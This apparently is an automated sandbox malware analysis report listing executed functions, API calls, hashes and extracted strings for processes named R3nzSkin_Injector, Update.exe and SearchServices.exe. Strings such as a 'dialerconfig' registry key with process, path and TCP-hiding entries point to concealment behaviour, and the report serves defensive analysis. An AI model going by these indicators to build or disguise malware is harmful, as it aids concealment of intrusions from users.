Instruction Fuzzy Hash: 93117C3160DB4A8FD768CF58C4A16B5B7E0FF5A350F19057EC0DE836A1CB64B9418B42

Function 00007FFD9BA126DD Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd30a133efe516e919cb9c1b2bc20eac92ca0f8b8c66484ed4821768981f036d
Instruction ID: f775c1046632479df1ecef900480cfeee2c5392b255c2de0edcc457b9487d15f
Opcode Fuzzy Hash: fd30a133efe516e919cb9c1b2bc20eac92ca0f8b8c66484ed4821768981f036d
Instruction Fuzzy Hash: 45112B30B1DB880FDB5D876C48990253BE1EF6A60575905EFC044CB2F3DD69E8818355

Function 00007FFD9BA01E88 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7aa309f8113480380b18f12e7ca8b0170ef204965328f88fab701b3a46317e0
Instruction ID: 3dcc6d843689c85262226a21f14d6cdbd92b5cd49579ed8e5110b607fcdf3ce7
Opcode Fuzzy Hash: b7aa309f8113480380b18f12e7ca8b0170ef204965328f88fab701b3a46317e0
Instruction Fuzzy Hash: 78012B20B19E1E0BE6B87BB8886D07931C2EBE4305761453ED44FC25F4ED98F5804685

Function 00007FFD9BA019E8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3fb10ad0a6e229cb40be2d5d0281d3e96a3b2fbb13672e0c800eccb46c2b80
Instruction ID: e5b68f721f7a41db94821537769c143167145d5ca97913c6ee87d162c8048a3c
Opcode Fuzzy Hash: 4d3fb10ad0a6e229cb40be2d5d0281d3e96a3b2fbb13672e0c800eccb46c2b80
Instruction Fuzzy Hash: 40018431719A0C0BD764E76844A55BBB3D3EFE9310F010739E48EC32A6DDA8B9024680

Function 00007FFD9BA02AC9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 687eb42bed16de6bcf96b4755f33a1bcad6a4ece00bb19a51bbc3d3e1be84323
Instruction ID: b9bc288ec36b646deaf369cf55ed22e39bcb63bbefaff77e0f85b09161fb8fc3
Opcode Fuzzy Hash: 687eb42bed16de6bcf96b4755f33a1bcad6a4ece00bb19a51bbc3d3e1be84323
Instruction Fuzzy Hash: D2012B21A0EB9D0FD72767E848680A46BA0EFA7110F0606BBC8CCC7062EC4819858391

Function 00007FFD9BA01C50 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17729f43e6a6f223988bd11829b4ca2c59f98fa657855d7197e8db6f075d453c
Instruction ID: ec39538761a0e50d92a4048548005829884a6fedc513bc478913c06a988fb3b8
Opcode Fuzzy Hash: 17729f43e6a6f223988bd11829b4ca2c59f98fa657855d7197e8db6f075d453c
Instruction Fuzzy Hash: 5DF02830B34F1C4BEB9C975C488C03673C1EB69705B64057ED408D72F2DD64F8804689

Function 00007FFD9BA0E1C2 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3694879ffed51775c32e11748a73b814a17265579e97cc9435aff5b5572f7e28
Instruction ID: ef4ef0eb197a07e994dd52dc0452ce884f6925a549e7b003277b7955a435720d
Opcode Fuzzy Hash: 3694879ffed51775c32e11748a73b814a17265579e97cc9435aff5b5572f7e28
Instruction Fuzzy Hash: 4F11A921E0E78D0BEB7647A444A43B63AE15F5B310F1701BBE0ED860F3CA9DAB459752

Function 00007FFD9BA14022 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4974e61eed1051e05551d63ac19b3501eea4ee7990e360986bc5cadf6dca9ec0
Instruction ID: 7508d24fea18bffcf7f6156d3c38b19a2716aa8d0dd014adcd0a7a8bba8d3346
Opcode Fuzzy Hash: 4974e61eed1051e05551d63ac19b3501eea4ee7990e360986bc5cadf6dca9ec0
Instruction Fuzzy Hash: 1E01D632B0EB1B4AE3B98B8D90513B56294EF41755F16213DC4DB972E1DF99BA010580

Function 00007FFD9BA01C68 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2628720685e78fee1002b3656441f8815d6ffba0e03c5dde7e2cf23fc7c36485
Instruction ID: a017cd697c903ab7e9037d95efc443b03a0f65e3572d78dbafdb3e03bff0357c
Opcode Fuzzy Hash: 2628720685e78fee1002b3656441f8815d6ffba0e03c5dde7e2cf23fc7c36485
Instruction Fuzzy Hash: DBF0C231E05A0C4BDB34B76898117FAB3A1EF66300F41467BB04ED3162DEB47B548B81

Function 00007FFD9BA0B6F4 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be2f48bcf3e1f4f917e98c0181a87294a9d39c6ac2ebdba85297b8a23ca2cbb
Instruction ID: b7eef05e783f4dd484fc8020135fe3bc02db85e5b5cea82fbe587ae6932d5bfc
Opcode Fuzzy Hash: 1be2f48bcf3e1f4f917e98c0181a87294a9d39c6ac2ebdba85297b8a23ca2cbb
Instruction Fuzzy Hash: EAF05921E0EA8A0FE366A77954A11E47BD1EF57290F450276D0D8C30E2DD98649643A1

Function 00007FFD9BA03285 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c2b97e0cc0097de8aab39fe896028475e0787269575e34a52f0e9d8646a886
Instruction ID: 6c2db64e3cad415858d33a422681c72302a279a4b0a9c3fee9d2c8f178dee62d
Opcode Fuzzy Hash: 62c2b97e0cc0097de8aab39fe896028475e0787269575e34a52f0e9d8646a886
Instruction Fuzzy Hash: 93F0F611A0E6980FD351AB3448261B5BFE08F5B110B0E05FBD4C9C60B3DD5895418341

Function 00007FFD9BA142FA Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b3a9243aaa6521796424e6e21e44dabfe9534f864923d50cd2e53d9bd7ac9a
Instruction ID: 71f230850ed4cc959b720fdbed24f020215696e85a8a098fe70e587e0019c58a
Opcode Fuzzy Hash: b9b3a9243aaa6521796424e6e21e44dabfe9534f864923d50cd2e53d9bd7ac9a
Instruction Fuzzy Hash: A7F0313290DE4F96D7B6DB54C0206A6B3A1EFA2300F16063DC0DE835A5DFA4F6058BC1

Function 00007FFD9BA14249 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1718b3579726809f18c4878d9f7a9c62061f5d4ea5235e5007a7d31d75bee537
Instruction ID: e9220477d37de2491418c30a11718f8d648d3fb012b57497f7f1b9623c55a9bf
Opcode Fuzzy Hash: 1718b3579726809f18c4878d9f7a9c62061f5d4ea5235e5007a7d31d75bee537
Instruction Fuzzy Hash: 4EF08C25B1DA0F42E6BD878C00312396282EF86701B27213CC8DFC36E5CE98E9020681

Function 00007FFD9BA0B5A4 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6867cae3fdbac6b54dce0bd9610399e8cd72b29b3734496d42adc1e7a53a6424
Instruction ID: dd1271dcbb45da321cf91960afb6c07bf82615f11a6b8526413336524d09733e
Opcode Fuzzy Hash: 6867cae3fdbac6b54dce0bd9610399e8cd72b29b3734496d42adc1e7a53a6424
Instruction Fuzzy Hash: 12F0823090D78D8FDB95EF5888505D93BA0FF1A300F0005AAF49CC3192CA749954C781

Function 00007FFD9BA016D0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf74342c1f20f976cd19b17c77ce3092679ee63971148512c8ed97053e618c1
Instruction ID: 649a0dd4ca1ac2597f89ee11bd7096cb167ff8e8ab8939e85145094fe76add04
Opcode Fuzzy Hash: fbf74342c1f20f976cd19b17c77ce3092679ee63971148512c8ed97053e618c1
Instruction Fuzzy Hash: 68E02621F2C91C0AE764FF3858161BAB7C0CF59228F050A3BF89ED21F9ED28D9811281

Function 00007FFD9BA01B98 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71c567ea92fecdc00852040e6ced2b0cad734df23a52a10923a1d8ecdebecf0
Instruction ID: e769353560dde06c8768f1e04853a94fd036cad37992e9bd07e1506cab44acc1
Opcode Fuzzy Hash: c71c567ea92fecdc00852040e6ced2b0cad734df23a52a10923a1d8ecdebecf0
Instruction Fuzzy Hash: 0AE01234914A4D8FDF94EF58D8116EA73A0FF55304F40096AF81DC3191DB74EA64CB81

Function 00007FFD9BA14227 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 670cc3d45dbe69d094e03ec87b7a5c18d0ff7afab8c331c97957a669c802b965
Instruction ID: 6bb8e88dcb62f4a61e2a59f399509de2af970799ec957e18281f10b6ec54c067
Opcode Fuzzy Hash: 670cc3d45dbe69d094e03ec87b7a5c18d0ff7afab8c331c97957a669c802b965
Instruction Fuzzy Hash: DDE01A26F0EA1F51E6FA878C002027541D2AF86740E272238D8DE932F98EA8AE421585

Function 00007FFD9BA02391 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4211e08fdd381f745bd3eccc78e075eb229eaba98a98881a66a6f27f260696
Instruction ID: 67ebe626facc2d90c00a84c14085d5f7937aa4e2656974ae541274bdd3b8a209
Opcode Fuzzy Hash: 4c4211e08fdd381f745bd3eccc78e075eb229eaba98a98881a66a6f27f260696
Instruction Fuzzy Hash: 0EE0D85290E7C40FD766436408751943FA09F17110B4B01DBD484CB5E3E24D6C818342

Function 00007FFD9BA02638 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694bb7767ad401476a0b0fa963efadca83aaf26101312cdfda92626b1317dca4
Instruction ID: bc9690c37e4ae87aed44ecd692cca0fb06adb68816e802078a7e2d171d283bd5
Opcode Fuzzy Hash: 694bb7767ad401476a0b0fa963efadca83aaf26101312cdfda92626b1317dca4
Instruction Fuzzy Hash: B6D01730B4690E8BDB58FB98A4629F9B351EF9A210F820470F41EC21E2CDA57D108741

Function 00007FFD9BA02EFE Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1893ceb55fdafe667deb0c42c4e1ac91ad72061973142bd9c9a5e44ce2b8791b
Instruction ID: 39e955bd28ffd080eb2774a683c081d4ccb89c210864f4820c264ab7ed4c98e4
Opcode Fuzzy Hash: 1893ceb55fdafe667deb0c42c4e1ac91ad72061973142bd9c9a5e44ce2b8791b
Instruction Fuzzy Hash: 85D0A79570E64B5BE7109BB484952DC7BC1AF13294F0941A4D0888B1E3CFF419184F71

Non-executed Functions

Function 00007FFD9BA02B2D Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

|Sp, xrefs: 00007FFD9BA02C33
]{Sp, xrefs: 00007FFD9BA02BE7
|Sp, xrefs: 00007FFD9BA02C02
|Sp, xrefs: 00007FFD9BA02C16

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: ]{Sp$|Sp$|Sp$|Sp
API String ID: 0-1547670989
Opcode ID: 10f8a058208d091696a86c2d24c4050ec5123c094972105c666ebeef2832c093
Instruction ID: bb3e71c84b1182c86fd45d3706a5850004552642af26f1aa832215222809e9d8
Opcode Fuzzy Hash: 10f8a058208d091696a86c2d24c4050ec5123c094972105c666ebeef2832c093
Instruction Fuzzy Hash: 2331277090E7CD6FD3169BB848296A5BFE0FF53210F0942EED089C71A3CEA86919C751

Analysis Process: Update.exePID: 7180, Parent PID: 5804COMMON

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	7
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9F3525 Relevance: 1.6, APIs: 1, Instructions: 137
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 00007FFD9B9F3607

Memory Dump Source

Source File: 00000004.00000002.1708512674.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9f0000_Update.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: cf0a2436d9e1e578544267bc0bda3122b6c9060dd11f6c1c19c71ee737dfdca0
Instruction ID: a100255df24fb86a0637a31e7f4e966a779abf3a5c58e22ab5a06ec5d89b5181
Opcode Fuzzy Hash: cf0a2436d9e1e578544267bc0bda3122b6c9060dd11f6c1c19c71ee737dfdca0
Instruction Fuzzy Hash: 5C412A31A0DB9C5FDB19DBA888596E97FF0FF56320F0582AFD04DC75A2CA286805C791

Function 00007FFD9B9F3569 Relevance: 1.6, APIs: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 00007FFD9B9F3607

Memory Dump Source

Source File: 00000004.00000002.1708512674.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9f0000_Update.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a4f0a9ea65c42d908a34696995b48d8b3bd01e1ae73d09027ebd8dd57f5b21e8
Instruction ID: b7c34e9629e395c50c1f52313966346ed1aecab662a7e85922f052e5113393cd
Opcode Fuzzy Hash: a4f0a9ea65c42d908a34696995b48d8b3bd01e1ae73d09027ebd8dd57f5b21e8
Instruction Fuzzy Hash: 4B31C131A0DB5C9FDB19DB588859AE9BBF0FF66320F04426FD049D3292CB75A8058B91

Analysis Process: SearchServices.exePID: 7240, Parent PID: 5804COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	10.2%
Signature Coverage:	9.6%
Total number of Nodes:	1368
Total number of Limit Nodes:	48

Executed Functions

Function 00000264CC271628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000264CC271633
HeapAlloc.KERNEL32 ref: 00000264CC271642

Part of subcall function 00000264CC271268: GetProcessHeap.KERNEL32 ref: 00000264CC27126E
Part of subcall function 00000264CC271268: HeapAlloc.KERNEL32 ref: 00000264CC27127D
Part of subcall function 00000264CC271268: GetProcessHeap.KERNEL32 ref: 00000264CC271297
Part of subcall function 00000264CC271268: HeapAlloc.KERNEL32 ref: 00000264CC2712A8

RegOpenKeyExW.ADVAPI32 ref: 00000264CC2716B2
RegOpenKeyExW.ADVAPI32 ref: 00000264CC2716DF
RegCloseKey.ADVAPI32 ref: 00000264CC2716F9
RegOpenKeyExW.ADVAPI32 ref: 00000264CC271719
RegCloseKey.ADVAPI32 ref: 00000264CC271734
RegOpenKeyExW.ADVAPI32 ref: 00000264CC271754
RegCloseKey.ADVAPI32 ref: 00000264CC27176F
RegOpenKeyExW.ADVAPI32 ref: 00000264CC27178F
RegCloseKey.ADVAPI32 ref: 00000264CC2717AA
RegOpenKeyExW.ADVAPI32 ref: 00000264CC2717CA
RegCloseKey.ADVAPI32 ref: 00000264CC2717E5
RegOpenKeyExW.ADVAPI32 ref: 00000264CC271805
RegCloseKey.ADVAPI32 ref: 00000264CC271820
RegOpenKeyExW.ADVAPI32 ref: 00000264CC271840
RegCloseKey.ADVAPI32 ref: 00000264CC27185B
RegOpenKeyExW.ADVAPI32 ref: 00000264CC27187B
RegCloseKey.ADVAPI32 ref: 00000264CC271896
RegCloseKey.ADVAPI32 ref: 00000264CC2718A0

Part of subcall function 00000264CC2712BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000264CC271319
Part of subcall function 00000264CC2712BC: GetProcessHeap.KERNEL32 ref: 00000264CC271327
Part of subcall function 00000264CC2712BC: HeapAlloc.KERNEL32 ref: 00000264CC271338
Part of subcall function 00000264CC2712BC: RegEnumValueW.ADVAPI32 ref: 00000264CC271397
Part of subcall function 00000264CC2712BC: GetProcessHeap.KERNEL32 ref: 00000264CC2713DF
Part of subcall function 00000264CC2712BC: HeapAlloc.KERNEL32 ref: 00000264CC2713ED
Part of subcall function 00000264CC2712BC: GetProcessHeap.KERNEL32 ref: 00000264CC27140A
Part of subcall function 00000264CC2712BC: HeapFree.KERNEL32 ref: 00000264CC271418
Part of subcall function 00000264CC2712BC: lstrlenW.KERNEL32 ref: 00000264CC271421
Part of subcall function 00000264CC2712BC: GetProcessHeap.KERNEL32 ref: 00000264CC27142F
Part of subcall function 00000264CC2712BC: HeapAlloc.KERNEL32 ref: 00000264CC27143D

Strings

tcp_local, xrefs: 00000264CC2717FE
process_names, xrefs: 00000264CC27174D
tcp_remote, xrefs: 00000264CC271839
udp, xrefs: 00000264CC271874
startup, xrefs: 00000264CC2716D5
paths, xrefs: 00000264CC271788
pid, xrefs: 00000264CC271712
service_names, xrefs: 00000264CC2717C3
SOFTWARE\dialerconfig, xrefs: 00000264CC271692

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: f00cadd46c490bc2fc0ba47c63578390e2f2fd58691df49c690d6df59a281402
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: AF71EF77B12A11C5EB10AF65E8A8AD933B4FB84B88F402112DD8D97B79DF39C644C744

Function 00007FF7287E1000 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 293
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7287E3F00: GetModuleFileNameW.KERNEL32(?,00007FF7287E39CA), ref: 00007FF7287E3F34

SetDllDirectoryW.KERNEL32 ref: 00007FF7287E3BD5
PostMessageW.USER32 ref: 00007FF7287E3CC3
GetMessageW.USER32 ref: 00007FF7287E3CD6
PostMessageW.USER32 ref: 00007FF7287E3D61
GetMessageW.USER32 ref: 00007FF7287E3D74

Part of subcall function 00007FF7287E7D70: GetEnvironmentVariableW.KERNEL32(00007FF7287E39FF), ref: 00007FF7287E7DAA
Part of subcall function 00007FF7287E7D70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7287E7DC7

Strings

Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF7287E3AA6
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF7287E3B1F
MEI, xrefs: 00007FF7287E3ADA
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7287E3B53
Failed to convert DLL search path!, xrefs: 00007FF7287E3BC5
_MEIPASS2, xrefs: 00007FF7287E39EB, 00007FF7287E3A54, 00007FF7287E3D32, 00007FF7287E3D3E
_PYI_ONEDIR_MODE, xrefs: 00007FF7287E3A14, 00007FF7287E3A3F

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message$EnvironmentPost$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2647325126-1544818733
Opcode ID: 9c1fe5c51c6499590be62804761c930eec0f1ac596061c6a4f67f008ccb7972c
Instruction ID: 2ca5e868beb8e018cb43551b4a459fa660cd33d8cd309ec065ad74a3b8d43616
Opcode Fuzzy Hash: 9c1fe5c51c6499590be62804761c930eec0f1ac596061c6a4f67f008ccb7972c
Instruction Fuzzy Hash: BDC1B021A5C6C641FA24BBA19C512BEE291EF58788FC40133EA4D47796DF3EE5048F28

Function 00007FF728806B50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF728806B95

Part of subcall function 00007FF7288064E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7288064FC

Part of subcall function 00007FF7287FB700: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB716
Part of subcall function 00007FF7287FB700: GetLastError.KERNEL32(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB720

Part of subcall function 00007FF7287FB6B8: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7287FB697,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FB6C1
Part of subcall function 00007FF7287FB6B8: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7287FB697,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FB6E6

_get_daylight.LIBCMT ref: 00007FF728806B84

Part of subcall function 00007FF728806548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72880655C

_get_daylight.LIBCMT ref: 00007FF728806DFA
_get_daylight.LIBCMT ref: 00007FF728806E0B
_get_daylight.LIBCMT ref: 00007FF728806E1C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72880705C), ref: 00007FF728806E43

Strings

W. Europe Standard Time, xrefs: 00007FF728806EE9
W. Europe Summer Time, xrefs: 00007FF728806F01

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
Instruction ID: d7b2c08ef3217696215dc186cfdfe621c4b84fd3d61a411621783c0b56985d56
